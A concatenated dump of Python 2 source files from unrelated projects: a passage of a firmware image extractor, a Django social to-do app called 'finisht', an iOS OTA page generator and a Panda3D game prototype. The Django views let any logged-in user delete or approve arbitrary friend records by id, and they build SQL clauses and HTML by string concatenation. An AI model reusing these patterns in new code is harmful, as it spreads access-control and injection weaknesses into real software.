are padded to be a multiple of 2 in length if (entry_offset % 2): entry_offset += 1 total_size = 0 for file_name in order: size = entries[file_name] file_data = fs_img[data_offset+total_size:data_offset+total_size+size] total_size += size out_file_name = file_name + '.7z' # This assumes there is only one sub directory in any given file name if os.path.basename(file_name) != file_name and not os.path.exists(os.path.dirname(file_name)): os.mkdir(os.path.dirname(file_name)) open(out_file_name, 'wb').write(file_data) # Try to decompress the file subprocess.call(["p7zip", "-d", out_file_name]) if os.path.exists(out_file_name): shutil.move(out_file_name, out_file_name[:-3]) print file_name def main(): # First command line argument: WDK image file # Second command line argument: endianess (default: big) try: fs_image_file = sys.argv[1] except: print "Usage: %s <WDK image file> [big | little]" % sys.argv[0] sys.exit(1) try: ENDIANESS = sys.argv[2] except: pass extract(fs_image_file) if __name__ == '__main__': main()
Python
from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.models import User from django import forms class UserCreationForm(forms.ModelForm): """ A form that creates a user, with no privileges, from the given username and password. """ username = forms.RegexField(max_length=30, regex=r'^\w+$') password1 = forms.CharField(max_length=60, widget=forms.PasswordInput) password2 = forms.CharField(max_length=60, widget=forms.PasswordInput) email = forms.EmailField() class Meta: model = User fields = ("username",) def clean_username(self): username = self.cleaned_data["username"] try: User.objects.get(username=username) except User.DoesNotExist: return username raise forms.ValidationError(_("A user with that username already exists.")) def clean_password2(self): try: password1 = self.cleaned_data["password1"] except KeyError: raise forms.ValidationError(_("The two password fields didn't match.")) password2 = self.cleaned_data["password2"] if password1 != password2: raise forms.ValidationError(_("The two password fields didn't match.")) return password2 def save(self, commit=True): user = super(UserCreationForm, self).save(commit=False) user.set_password(self.cleaned_data["password1"]) user.email = self.cleaned_data["email"] if commit: user.save() return user class FeedbackForm(forms.Form): """ A form for feedback """ message = forms.CharField()
Python
#!/usr/bin/env python from django.core.management import execute_manager try: import settings # Assumed to be in the same directory. except ImportError: import sys sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\n" % __file__) sys.exit(1) if __name__ == "__main__": execute_manager(settings)
Python
from finisht.success.models import Success from django.forms import ModelForm from django import forms class SuccessForm(ModelForm): class Meta: model = Success fields = ('description',)
Python
from django.contrib.auth.models import User from django.db import models class Success(models.Model): description = models.TextField(max_length=250) completed_on = models.DateTimeField(auto_now_add=True) user = models.ForeignKey(User) class Meta: verbose_name_plural = "Successes" def __unicode__(self): return u'%s' %(self.description)
Python
from django.contrib import admin from finisht.success.models import Success class SuccessAdmin(admin.ModelAdmin): list_display = ('description',) ordering = ('completed_on',) admin.site.register(Success, SuccessAdmin)
Python
#!/usr/bin/env python from django.core.management import execute_manager try: import settings # Assumed to be in the same directory. except ImportError: import sys sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\n" % __file__) sys.exit(1) if __name__ == "__main__": execute_manager(settings)
Python
from django.contrib.auth.models import User from django.contrib import admin UserAdmin = admin.site._registry[User] UserAdmin.list_display = ('username', 'email', 'first_name', 'last_name', 'is_staff', 'date_joined') UserAdmin.list_filter = ('is_staff', 'is_superuser', 'date_joined')
Python
from django.views.generic.simple import direct_to_template from django.contrib.auth.views import * from django.conf.urls.defaults import * from django.conf import settings from django.contrib import admin from finisht.views import * admin.autodiscover() import useradmin urlpatterns = patterns('', ('^tools/$', direct_to_template, {'template': 'tools.html'}), ('^404/$', direct_to_template, {'template': '404.html'}), ('^500/$', direct_to_template, {'template': '500.html'}), ('^login/$', login, {'template_name': 'login.html'}), (r'^friends/approve/(\d+)$', approve_friend), (r'^friends/delete/(\d+)$', delete_friend), ('^logout/$', logout, {'next_page': '/'}), ('^toggle_friends/$', toggle_friends), (r'^delete/(\d+)$', delete_success), (r'^admin/(.*)', admin.site.root), ('^friends/$', friends), ('^signup/$', signup), ('^$', home), ) #if settings.DEBUG: # urlpatterns += patterns('', # (r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': '/Users/Nick/Code/finisht/static'}), # ) #else: # urlpatterns += patterns('', # (r'^static/(?P<path>.*)$', 'django.views.static.serve', {'document_root': '/shared/django-projects/finisht/static'}), # (r'^media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': '/shared/django/contrib/admin/media'}), # )
Python
from finisht.friend.models import Friend from django.forms import ModelForm from django import forms class FriendForm(ModelForm): class Meta: model = Friend fields = ('friend_user',)
Python
from django.contrib.auth.models import User from django.db import models class Friend(models.Model): main_user = models.IntegerField() friend_user = models.ForeignKey(User) pending = models.BooleanField() def __unicode__(self): return u'%s' %(self.main_user)
Python
from django.contrib.auth.models import User from finisht.friend.models import Friend def are_friends(user1, user2): primary_friend = Friend.objects.filter(main_user=user1, friend_user=user2, pending=False) secondary_friend = Friend.objects.filter(main_user=user2, friend_user=user1, pending=False) if primary_friend or secondary_friend: return True else: return False def are_pending_friends(user1, user2): primary_friend = Friend.objects.filter(main_user=user1, friend_user=user2, pending=True) secondary_friend = Friend.objects.filter(main_user=user2, friend_user=user1, pending=True) if primary_friend or secondary_friend: return True else: return False def get_friends(id): friends = [] friends_users = [] primary_friends = Friend.objects.filter(main_user=id, pending=False) secondary_friends = Friend.objects.filter(friend_user=id, pending=False) for pfriend in primary_friends: friends.append(pfriend.friend_user.id) for sfriend in secondary_friends: friends.append(sfriend.main_user) for friend in friends: friends_users.append(User.objects.get(id=friend)) return friends_users def get_enemies(id): my_friends = get_friends(id) friend_iter = str(id) if len(my_friends) > 0: for friend in my_friends: friend_iter = friend_iter + ',' + str(friend.id) enemies = User.objects.extra(where=['id NOT IN (' + friend_iter + ')']).order_by('username') new_enemies = [] for enemy in enemies: if not are_pending_friends(enemy.id, id): new_enemies.append(enemy) return new_enemies
Python
from django.contrib.auth import authenticate, login as auth_login from django.http import HttpResponse, HttpResponseRedirect from django.contrib.auth.decorators import login_required from django.contrib.auth.forms import AuthenticationForm from django.shortcuts import render_to_response from django.template import RequestContext from django.core.mail import send_mail from django.db.models import Q from finisht.forms import * # Friends related import from finisht.friend.models import Friend from finisht.friend.forms import FriendForm from finisht.friend.utils import are_friends, are_pending_friends from finisht.friend.utils import get_friends, get_enemies # Success related import from finisht.success.forms import SuccessForm from finisht.success.models import Success import datetime import inspect def signup(request): signup_form = UserCreationForm(request.POST) if signup_form.is_valid(): signup_form.save() user = authenticate(username=request.POST['username'], password=request.POST['password1']) auth_login(request, user) return HttpResponseRedirect('/') else: return render_to_response("signup.html", { 'signup_form' : signup_form, 'signup' : True, 'data': request.POST }) def home(request): if request.user.is_authenticated(): done_form = SuccessForm(request.POST) if done_form.is_valid(): done_form = done_form.save(commit=False) done_form.user = request.user done_form.save() return HttpResponseRedirect('/?thanks') feedback_form = FeedbackForm(request.POST) if feedback_form.is_valid(): message = request.user.username + ': ' + request.POST['message'] send_mail('Finisht feedback', message, request.user.email, ['nick@nicksergeant.com']) return HttpResponseRedirect('/?thanks') my_friends = get_friends(request.user.id) friend_iter = str(request.user.id) if len(my_friends) > 0: for friend in my_friends: friend_iter = friend_iter + ',' + str(friend.id) successes = Success.objects.extra(where=['user_id IN (' + friend_iter + ')']).order_by('-completed_on') today = datetime.date.today() yesterday = today - datetime.timedelta(1) last_month = datetime.datetime.now().month - 1 this_year = datetime.datetime.now().year last_year = datetime.datetime.now().year - 1 if last_month == 0: last_month = 12 this_year = last_year + 1 successes_today = successes.filter(completed_on__gte=today) successes_yesterday = successes.filter(completed_on__gte=yesterday, completed_on__lte=today) successes_this_week = successes.filter(completed_on__gte=today - datetime.timedelta(7)) successes_this_month = successes.filter(completed_on__month=datetime.datetime.now().month, completed_on__year=this_year) successes_last_month = successes.filter(completed_on__month=last_month, completed_on__year=this_year) i = 0 for success in successes_today: if success.user_id != request.user.id: successes_today[i].friend = True i += 1 i = 0 for success in successes_yesterday: if success.user_id != request.user.id: successes_yesterday[i].friend = True i += 1 i = 0 for success in successes_this_week: if success.user_id != request.user.id: successes_this_week[i].friend = True i += 1 i = 0 for success in successes_this_month: if success.user_id != request.user.id: successes_this_month[i].friend = True i += 1 i = 0 for success in successes_last_month: if success.user_id != request.user.id: successes_last_month[i].friend = True i += 1 if len(my_friends) > 0: has_friends = True else: has_friends = False home = True disable_friends = request.session.get('disable_friends') developer_count = User.objects.count() success_count = Success.objects.count() return render_to_response('home.html', locals(), context_instance=RequestContext(request)) @login_required def friends(request): friend_form = FriendForm(request.POST) if friend_form.is_valid(): friend_form = friend_form.save(commit=False) if friend_form.friend_user.username != request.user.username: existing = Friend.objects.filter(main_user=friend_form.friend_user.id, friend_user=request.user.id) if not existing: existing = Friend.objects.filter(friend_user=friend_form.friend_user.id, main_user=request.user.id) if not existing: friend_form.main_user = request.user.id friend_form.pending = True friend_form.save() message = 'Hey there, ' + str(request.user.username) + ' wants to be your friend on finisht.com. You can approve or deny this friend request by heading to http://finisht.com/friends/' send_mail('Finisht friend request', message, 'no-reply@finisht.com', [friend_form.friend_user.email]) return HttpResponseRedirect('/friends/') friend_list = Friend.objects.filter(Q(main_user=request.user.id) | Q(friend_user=request.user.id)).order_by('-friend_user') friends = True enemies = get_enemies(request.user.id) for friend in friend_list: if friend.main_user != request.user.id: friend.username = User.objects.get(id=friend.main_user).username friend.main_username = friend.username else: friend.username = friend.friend_user.username return render_to_response('friends.html', locals(), context_instance=RequestContext(request)) @login_required def delete_success(request, id): byebye = Success.objects.get(id=id) if byebye.user_id == request.user.id: byebye.delete() return HttpResponseRedirect('/?thanks') @login_required def delete_friend(request, id): byebye = Friend.objects.get(id=id) byebye.delete() return HttpResponseRedirect('/friends/?sorry') @login_required def approve_friend(request, id): approve = Friend.objects.get(id=id) approve.pending = False approve.save() return HttpResponseRedirect('/friends/') @login_required def toggle_friends(request): if request.session.get('disable_friends') == True: request.session['disable_friends'] = False current_disable_state = False else: request.session['disable_friends'] = True current_disable_state = True return HttpResponse("{'current_disable_state': " + str(current_disable_state) + "}", mimetype='application/javascript')
Python
''' Created on 21-03-2011 @author: maciek ''' from formater import formatString import os class IndexGenerator(object): ''' Generates Index.html for iOS app OTA distribution ''' basePath = os.path.dirname(__file__) templateFile = os.path.join(basePath,"templates/index.tmpl") releaseUrls = "" appName = "" changeLog = "" description = "" version = "" release = "" def __init__(self,appName, releaseUrls, changeLog, description, version, releases): ''' Constructor ''' self.appName = appName self.releaseUrls = releaseUrls self.changeLog = changeLog self.description = description self.version = version self.releases = releases def get(self): ''' returns index.html source code from template file ''' urlList = self.releaseUrls.split(",") releaseList = self.releases.split(",") generatedHtml="" count=0; for release in releaseList: generatedHtml += " <li>\n" generatedHtml += " <h3><a href=\"javascript:load('" + urlList[count] + "')\">" + release + "</a></h3>\n" generatedHtml += " </li>\n" count += 1 template = open(self.templateFile).read() index = formatString(template, downloads=generatedHtml, changeLog=self.changeLog, appName=self.appName, description=self.description, version = self.version); return index
Python
''' Created on 21-03-2011 @author: maciek ''' def formatString(format, **kwargs): ''' ''' if not format: return '' for arg in kwargs.keys(): format = format.replace("{" + arg + "}", "##" + arg + "##") format = format.replace ("{", "{{") format = format.replace("}", "}}") for arg in kwargs.keys(): format = format.replace("##" + arg + "##", "{" + arg + "}") res = format.format(**kwargs) res = res.replace("{{", "{") res = res.replace("}}", "}") return res
Python
''' Created on 21-03-2011 @author: maciek ''' from IndexGenerator import IndexGenerator from optparse import OptionParser import os import tempfile import shutil import logging logging.basicConfig(level = logging.DEBUG) parser = OptionParser() parser.add_option('-n', '--app-name', action='store', dest='appName', help='aplication name') parser.add_option('-u', '--release-urls', action='store', dest='releaseUrls', help='URLs of download files - as coma separated list of entrires') parser.add_option('-d', '--destination-directory', action='store', dest='otaAppDir', help='Directory where OTA files are created') parser.add_option('-v', '--version', action='store', dest='version', help='Version of the application') parser.add_option('-r', '--releases', action='store', dest='releases', help='Release names of the application') parser.add_option('-R', '--release-notes', action='store', dest='releaseNotes', help='Release notes of the application (in txt2tags format)') parser.add_option('-D', '--description', action='store', dest='description', help='Description of the application (in txt2tags format)') (options, args) = parser.parse_args() if options.appName == None: parser.error("Please specify the appName.") elif options.releaseUrls == None: parser.error("Please specify releaseUrls") elif options.otaAppDir == None: parser.error("Please specify destination directory") elif options.version == None: parser.error("Please specify version") elif options.releases == None: parser.error("Please specify releases") elif options.releaseNotes == None: parser.error("Please specify releaseNotes") elif options.description == None: parser.error("Please specify description") appName = options.appName releaseUrls = options.releaseUrls otaAppDir = options.otaAppDir version = options.version releases = options.releases releaseNotes = options.releaseNotes description = options.description def findIconFilename(): iconPath = "res/drawable-hdpi/icon.png" if not os.path.exists(iconPath): iconPath = "res/drawable-mdpi/icon.png" if not os.path.exists(iconPath): iconPath = "res/drawable-ldpi/icon.png" if not os.path.exists(iconPath): iconPath = "res/drawable/icon.png" logging.debug("IconPath: "+iconPath) return iconPath def createOTApackage(): ''' crates all needed files in tmp dir ''' releaseNotesContent = open(releaseNotes).read() descriptionContent = open(description).read() indexGenerator = IndexGenerator(appName, releaseUrls, releaseNotesContent, descriptionContent, version, releases) index = indexGenerator.get(); tempIndexFile = tempfile.TemporaryFile() tempIndexFile.write(index) tempIndexFile.flush() tempIndexFile.seek(0) return tempIndexFile tempIndexFile = createOTApackage() if not os.path.isdir(otaAppDir): logging.debug("creating dir: "+otaAppDir) os.mkdir(otaAppDir) else: logging.warning("dir: "+otaAppDir+" exists") indexFile = open(os.path.join(otaAppDir,"index.html"),'w') shutil.copyfileobj(tempIndexFile, indexFile) srcIconFileName = findIconFilename() disIconFileName = os.path.join(otaAppDir,"Icon.png") shutil.copy(srcIconFileName,disIconFileName)
Python
# import panda main module import direct.directbase.DirectStart import math from pandac.PandaModules import * from direct.showbase import * # module for task controlling from direct.task import Task # load configuration file (carica file di configurazione) import conf mouse_wheel_command = {'up':'out', 'down':'in'} if conf.zoom_inv: # rotella su => zoom in e viceversa mouse_wheel_command = {'up':'in', 'down':'out'} # Class that loop through events class EventsHandler(DirectObject.DirectObject): # inizializzazione solo con camera? def __init__(self, camera): # camera objects self.camera = camera # true if alt is clicked self.alt_pressed = False # accept camera rotation and movement events self.accept('MouseRight', self.camera.rotate, [-1]) self.accept('MouseLeft', self.camera.rotate, [1]) self.accept('MouseDown', self.camera.inclination, [-1]) self.accept('MouseUp', self.camera.inclination, [1]) # D key => move right d_key_def = lambda task: self.start_moving('right', task) self.accept('time-d', taskMgr.add, [d_key_def, 'RightCamera']) self.accept('time-d-up', lambda event: taskMgr.remove('RightCamera')) # A key => move left a_key_def = lambda task: self.start_moving('left', task) self.accept('time-a', taskMgr.add, [a_key_def, 'LeftCamera']) self.accept('time-a-up', lambda event: taskMgr.remove('LeftCamera')) # W key => move Up w_key_def = lambda task: self.start_moving('up', task) self.accept('time-w', taskMgr.add, [w_key_def, 'UpCamera']) self.accept('time-w-up', lambda event: taskMgr.remove('UpCamera')) # S key => move Down s_key_def = lambda task: self.start_moving('down', task) self.accept('time-s', taskMgr.add, [s_key_def, 'DownCamera']) self.accept('time-s-up', lambda event: taskMgr.remove('DownCamera')) self.accept('mouse3', self.switch_alt) self.accept('mouse3-up', self.switch_alt) # zoom on wheel roll (DONE: config file for inversion) self.accept('wheel_up', self.zoom, [mouse_wheel_command['up']]) self.accept('wheel_down', self.zoom, [mouse_wheel_command['down']]) # manages zoom and camera rotation def zoom(self, direction): if self.alt_pressed: rotate_value = {'out':5, 'in':-5}[direction] self.camera.camera_rotate(rotate_value) else: self.camera.camera_zoom(direction) def start_moving(self, direction, task): self.move_camera(direction) return task.cont def move_camera(self, direction): # angle of the camera in radians radians = (self.camera.horizontalAngle / 360.0) * 6.28 # sin and cos of the angle ax = math.sin(radians) ay = math.cos(radians) if direction == 'up': self.camera.move(ax*-3, ay*3) elif direction == 'down': self.camera.move(ax*3, ay*-3) elif direction == 'left': self.camera.move(ay*-3, ax*-3) elif direction == 'right': self.camera.move(ay*3, ax*3) def switch_alt(self): self.alt_pressed = not self.alt_pressed
Python
# -*- coding: utf-8 -*- import os # per os.join import math # import panda main module import direct.directbase.DirectStart from pandac.PandaModules import deg2Rad, rad2Deg from direct.showbase.PythonUtil import rad90, rad180 from direct.gui.OnscreenText import OnscreenText # questi sono anche su main.py (...) K_POS = 'position' K_HPR = 'orientation' WORKDIR = 'models' #questo forse dovrebbe stare a livello di main.py class Unit(object): #per ora eredita da "object" (v. classi new style) # speed has to be specified in km/h or m/s # now it's in m/frame cruiseSpeed = 0.06 # angular velocity in deg/frame angleSpeed = 0.50 angleTolerance = 0.5 textObject = OnscreenText(text='In attesa di movimento', pos=(0.0, -0.5), scale=0.07, fg=(1, 0, 0, 1)) oldx, oldy, oldz = 0, 0, 0 def __init__(self, name='unit', map=None, position=None, orientation=None): # NB: name dovrebbe essere uguale al nome del modello # NB: 'name' should be the name of the model file self.name = name self.map = map self.speed = 0 # scalar of velocity self.hRad = 0 if name == 'unit': self.create_tank() else: self.modelPath = os.path.join(WORKDIR, name) # NodePath (per ora uso i models, poi si useranno gli actors) # Actors will be likely used in future. self.nodePath = loader.loadModel(self.modelPath) self.nodePath.setScale(1, 1, 1) # questo dipenderà dal modello... self.nodePath.reparentTo(render) print self.nodePath.getBounds() # forse servirà per capire le dimensioni e le collisioni if position: x, y, z = position self.set_pos(x, y, z) if orientation: h, p, r = orientation self.set_orientation(h, p, r) def __repr__(self): return self.name def __setattr__(self, name, value): '''Set some nodepath values. NB: self.x = 15, self.pos = (1, 2, 3), and so on, have an actual visual effect ''' if name == 'x': self.nodePath.setX(value) elif name == 'y': self.nodePath.setY(value) elif name == 'z': self.nodePath.setZ(value) elif name == 'pos': x, y, z = value self.x, self.y, self.z = x, y, z elif name == 'h': self.nodePath.setH(value) self.hRad = deg2Rad(value) elif name == 'p': self.nodePath.setP(value) else: object.__setattr__(self, name, value) def set_pos(self, x=None, y=None, z=None): "Sets unit's nodepath pos." if x is not None: self.x = x if y is not None: self.y = y if z is not None: self.z = z @property def x(self): return self.nodePath.getX() @property def y(self): return self.nodePath.getY() @property def z(self): return self.nodePath.getZ() @property def h(self): return self.nodePath.getH() def set_orientation(self, h, p, r): self.nodePath.setHpr(h, p, r) def set_speed(self, scalar): 'Sets the scalar value for velocity, also updating vx and vy components' self.speed = scalar self.vx = self.speed * -math.sin(self.headToDestRad) # prestation issue (recalculates vx also if self.headRad does not change) self.vy = self.speed * math.cos(self.headToDestRad) # prestation issue (recalculates vy also if self.headRad does not change) def update_pos(self): "Updates the unit's nodepath position from its velocity" self.x += self.vx self.y += self.vy self.z = self.map.elevation(self.x, self.y) x, y, z = self.x, self.y, self.z h_distance = math.sqrt((x - self.oldx)**2 + (y - self.oldy)**2) v_distance = self.oldz - z self.oldx, self.oldy, self.oldz = x, y, z # adjust pitch (experimental) # p = - (v_distance/h_distance) * 90.0 # uses the terrain normal in order to make the unit keep parallel to the terrain # issue13: the normal doesn't correspond to the terrain slope pix_x, pix_y = self.map.xy_to_pixel(x, y) normal = self.map.map_terrain.getNormal(pix_x, pix_y) nx, ny, nz = normal p = (90 - 90 * nz) self.p = p # cancel previous text and write the new one self.textObject.destroy() self.textObject = OnscreenText(text='pos=(%(x).1f m, %(y).1f m, %(z).1f m) [%(pix_x)ipx,%(pix_y)ipy] - normal = %(nx)f-%(ny)f-%(nz)f - pitch = %(p).1f' % locals(), pos=(-0.1, -0.8), scale=0.07, fg=(1, 1, 1, 1)) def goto(self, x, y): 'Sets a destination with coordinates and move' print "%s: I'm going to %s, %s" % (self.name, x, y) self.set_destination(x, y) # shortest turning direction turn = shorter_way_in_circle(self.h, self.headToDest) print 'turning', {1:'left', -1:'right', 0:None}[turn] # turn and move taskMgr.doMethodLater(2, self.heading, 'heading', extraArgs=[turn], appendTask=True) def stop(self): print 'Stopping' self.set_speed(0) def set_destination(self, x, y): self.destination = x, y print 'Destination =', self.destination print 'Position =', self.x, self.y dx, dy = x - self.x, y - self.y # distance to destination distance = math.sqrt(dx**2 + dy**2) print 'Distance =', distance # angle between r and +Y (assume r = (dest - pos) vector) hdRad = calc_head(self.x, self.y, x, y, debug=True) self.headToDestRad = hdRad # conversion to deg destHead = rad2Deg(hdRad) self.headToDest = destHead print 'My head =', self.h print 'Head to position =', destHead print 'Head to position (rad) = %.2fπ' % (hdRad/3.141592) print 'Delta =', (destHead - self.h) def calc_dest_distance(self): 'Calculates the distance between the unit and the setted destination' dstX, dstY = self.destination delta = math.sqrt((self.x - dstX)**2 + (self.y - dstY)**2) return delta def destination_reached(self, tolerance=0.5): 'Check if destination is reached' delta = self.calc_dest_distance() return delta < tolerance def heading(self, turn, task): 'Turns towards destination and move to it' # turning step self.h += turn * self.angleSpeed # calculate the remaining angle deltAngleAbs = abs(self.h - self.headToDest) if not task.frame % 50: # every 50 frames print angles print self.h, deltAngleAbs #debug if deltAngleAbs <= self.angleTolerance: # Actual unit's head is almost equal to the right direction for destination self.h = self.headToDest print 'Headed to', self.h self.set_speed(self.cruiseSpeed) taskMgr.doMethodLater(1, self.moving, 'moving') print 'Moving' return task.done else: return task.cont def moving(self, task): 'Just moves the unit until its destination is reached' self.update_pos() if self.destination_reached(): print 'Destination reached' self.stop() return task.done else: # sposta fisicamente self.update_pos() return task.cont def create_tank(self): 'Creates a generic tank.' mainSize = 1 sx, sy, sz = 3, 5, 1 msx, msy, msz = mainSize * sx, mainSize * sy, mainSize * sz self.nodePath = loader.loadModel('box') self.nodePath.setColor(0.1, 1, 0.5) self.nodePath.setScale(msx, msy, msz) cupola = loader.loadModel('box') cupola.reparentTo(self.nodePath) cupola.setScale(0.5, 0.5, 0.5) cupola.setPos(0.25, 0.15, 1) cannon = loader.loadModel('box') cannon.reparentTo(cupola) cannon.setScale(0.1, 2, 0.3) cannon.setPos(0.45, 1, 0.3) # NB ho fatto tutto a mano per tentativi perché ancora non ho ben chiaro # come funzionano le coordinate e le scalature relative ai nodi figli # questa sarebbe chiamata da main.py def load(main, dic): units = [] for name in dic: unitData = dic[name] position = unitData[K_POS] x, y, z = position if K_HPR in unitData: orientation = dic[name][K_HPR] else: orientation = 0, 0, 0 h, p, r = orientation unit = Unit(name) unit.set_pos(x, y, z) unit.set_orientation(h, p, r) units.append(unit) return units def shorter_way_in_circle(a, b, u='deg'): ''' Given 2 deg angles it returns the sign that represents the shorter way direction to go from a to b ''' if u == 'deg': flatAngle = 180 elif u == 'rad': flatAngle = rad180 if a == b: res = 0 elif b > a: if b - a <= flatAngle: res = 1 else: res = -1 else: # a > b if a - b <= flatAngle: res = -1 else: res = 1 return res def calc_head(x1, y1, x2, y2, debug=False): 'Returns a radiant head angle pointing from (x1, y1) to (x2, y2)' dx = x2 - x1 dy = y2 - y1 r = math.sqrt(dx**2 + dy**2) # thrad = to-targed head in radiants if dy >= 0 and dx >= 0: direction = 'NE' # to NE # dx = r * cos (rad90 - thrad) = r * sin (thrad) thrad = math.asin(dx/r) elif dy >= 0 and dx <= 0: direction = 'NW' # to NW thrad = 2 * math.pi + math.asin(dx/r) elif dy <= 0 and dx <= 0: direction = 'SW' # to SW thrad = - 1.5 * math.pi + math.acos(dx/r) elif dy <= 0 and dx >= 0: direction = 'SE' # to SE thrad = rad180 + math.asin(- dx/r) if thrad > rad180: thrad = - (2 * math.pi - thrad) if thrad < - rad180: thrad = - (2 * math.pi + thrad) if debug: print 'heading to', direction return -thrad
Python
# -*- coding: utf-8 -*- # Progetto Firepower (http://code.google.com/p/firepower) # Inizio: 15 settembre 2009 # ''' main.py Panda3D "Hello world": caricamento finestra Panda3D. = Dipendenze = Panda3D: è reperibile su http://www.panda3d.org ''' # if you test this game in a new platform and it works # please add a comment line with the name of your OS # # tested on: # linux Ubuntu 9.04 jaunty. # Mac OS X 10.5.8 # load the panda option module from pandac.PandaModules import loadPrcFileData # set fullscreen loadPrcFileData('', 'fullscreen 1') # import panda main module import direct.directbase.DirectStart from pandac.PandaModules import * # import map management module import map # Module that provides to the illumination of the scene import lights # Module used for camera controlling import camera # events import events # units import units # functions and classes for reading configuration file import conf K_POS, K_HPR = 'position', 'orientation' #K sta per Key (chiave del dizionario) def log(x): #uno volendo la può riscrivere per salvare i messaggi su un file. print x # Game main class class Main: def __init__(self): # Set the antialias option render.setAntialias(AntialiasAttrib.MMultisample) # the background is black base.setBackgroundColor(0, 0, 0) # disable the auto mouse actions base.disableMouse() self.window_x = base.win.getProperties().getXSize() self.window_y = base.win.getProperties().getYSize() # MAP log('Loading map, lights, and camera...') self.map = map.Map('prova') self.lights = lights.Lights(self) self.camera = camera.Camera(self.map) self.events = events.EventsHandler(self.camera) # load units passing a dic with displacing infos log('Loading units...') # queste coordinate del piano orizzontale sono intese per il sistema attuale, che ha origine nell'angolo inferiore sinistro # la coordinata z è piuttosto arbitraria al momento dic = {'para':{K_POS:(50, 50, 0.3), K_HPR:(20, 0, 0)}}#, # 'box':{K_POS:(50, 50, 3.45), K_HPR:(0, 0, 0)}, # 'big_man':{K_POS:(50, 60, 8.4)}} #se si vuole caricare anche questo modello togliere il commento (sistemando la sintassi del dizionario sopra) self.units = units.load(self, dic) # non so se serve memorizzarle o basta riferirsi a render xStart, yStart = 50, 100 # Creates and places a generic Unit unit = units.Unit(map=self.map, position=(xStart, yStart, 1), orientation=(0, 0, 0)) self.units.append(unit) for unit in self.units: # mostra il box di contenimento stretto (utile per capire i limiti spaziali della nostra unità) unit.nodePath.showTightBounds() a, b = unit.nodePath.getTightBounds() print unit, a, b # Scegliere UNA destinazione per la self.units[-1] agendo sui commenti # L'unità si indirizzerà verso la destinazione e la raggiungerà in linea retta # (non terrà conto dei rilievi) #unit.goto(xStart + 5, yStart + 15) #to NE #unit.goto(xStart - 10, yStart + 20) #to NW #unit.goto(xStart - 20, yStart - 10) #to SW unit.goto(1000, 100) #to SE def createShadow(np): sh = np.getParent().attachNewNode("shadow") sh.setScale(1,1,.01) sh.setTransparency(TransparencyAttrib.MAlpha) sh.setColor(0,0,0,.4) np.instanceTo(sh) return sh # Run the game Main() run()
Python
# import panda main module import direct.directbase.DirectStart from pandac.PandaModules import * # set the ambient light class Lights: def __init__(self, parent): # 12 minute = 720 seconds = 1 day in the game self.daySeconds = 720 self.days = 0 self.hour = self.daySeconds / 24.0 # set the sunlight self.sun = DirectionalLight('sun') self.sun_node = render.attachNewNode(self.sun) self.sun_node.setHpr(-30, -60, 0) render.setLight(self.sun_node) alight = AmbientLight('alight') alight.setColor(VBase4(1, 1, 1, 1)) alnp = render.attachNewNode(alight) # only the skydrome must be illuminated parent.map.skydrome.setLight(alnp) #taskMgr.add(self.meteo, "meteo") # method that manages the sun movement def meteo(self, task): day_second = task.time - (self.days*self.daySeconds) # if the day is finished if day_second > self.daySeconds: self.days += 1 # if is day if day_second < self.daySeconds*0.6: day_hour = day_second / self.hour self.sun_node.setHpr(day_hour*15, -60, 0) return task.cont
Python
import os # import tarfile module to extracting map data import tarfile # import panda main module import direct.directbase.DirectStart from pandac.PandaModules import * # functions and classes for reading the configuration file import conf # class that manages the map class Map: def __init__(self, map_name): # extract the map files to the tmp directory. map_file = tarfile.open(os.path.join('maps', map_name + '.tar.gz')) map_file.extractall(os.path.join('tmp', 'map')) # read map info file self.info = conf.ReadConfig(os.path.join('tmp', 'map', 'info.txt')) # Generate terrain self.map_terrain = GeoMipTerrain('mySimpleTerrain') heightmap_path = os.path.join('tmp', 'map', 'heightmap.png') self.map_terrain.setHeightfield(heightmap_path) self.map_terrain.generate() # set the terrain block size self.map_terrain.setBlockSize(64) # set focal point and quality level self.map_terrain.setNear(5000) #? self.map_terrain.setFar(5000) #? # set terrain focal point self.map_terrain.setFocalPoint(base.camera) # get the nodepath of the terrain self.map_node = self.map_terrain.getRoot() # add nodepath to the render object self.map_node.reparentTo(render) # set the map size # 1 pixel on the .png image = 2 metres # ok but tell why self.map_node.setSx(4) self.map_node.setSy(4) self.map_node.setSz(self.info.z) # set terrain pos # why 100? map_x = -100 - self.info.width / 2 map_y = -100 - self.info.height / 2 map_z = self.info.underground self.map_node.setPos(map_x, map_y, map_z) # Skydrome self.skytexture = loader.loadTexture('textures/sky.jpg') self.skydrome = loader.loadModel('smiley.egg') self.skydrome.reparentTo(render) self.skydrome.setTwoSided(True) self.skydrome.setPos(0, 0, 0) self.skydrome.setScale(2000, 2000, 2000) self.skydrome.setTexture(self.skytexture, 1) self.skydrome.setTexScale(TextureStage.getDefault(), 1, 2) # Provvisorio solo per rendere la mappa decente tex = loader.loadTexture('textures/grass.jpg') ts = TextureStage('ts') self.map_node.setTexture(ts, tex, 1) self.map_node.setTexScale(ts, 64, 64) # add objects to the map self.loaded_models = {} # list of the model that must be loaded modelsToLoad = conf.read_values(os.path.join('tmp', 'map', 'objects.txt')) for (x, y, z, name) in modelsToLoad: modelpath = os.path.join('models', name) if not self.loaded_models.has_key(name): try: self.loaded_models[name] = loader.loadModel(modelpath+'.egg') except: self.loaded_models[name] = loader.loadModel(modelpath+'.egg.pz') self.loaded_models[name].reparentTo(render) self.loaded_models[name].setPos(int(x), int(y), int(z)) def pixy_to_xy(self, pix_x, pix_y): 'From map pixel to global (x, y) coordinates.' raise NotImplementedError def xy_to_pixel(self, x, y): 'From global (x, y) coordinates to map pixel.' pix_x = (100 + self.info.width/2 + x) / 4 pix_y = (100 + self.info.height/2 + y) / 4 return pix_x, pix_y def elevation(self, x, y): "Returns the elevation of the given terrain in metres from the 0 on z axis." # positions in pixels pix_x, pix_y = self.xy_to_pixel(x, y) # terrain elevation elevation = self.map_terrain.getElevation(pix_x, pix_y) * self.info.z # height on z axis z = elevation + self.info.underground return z
Python
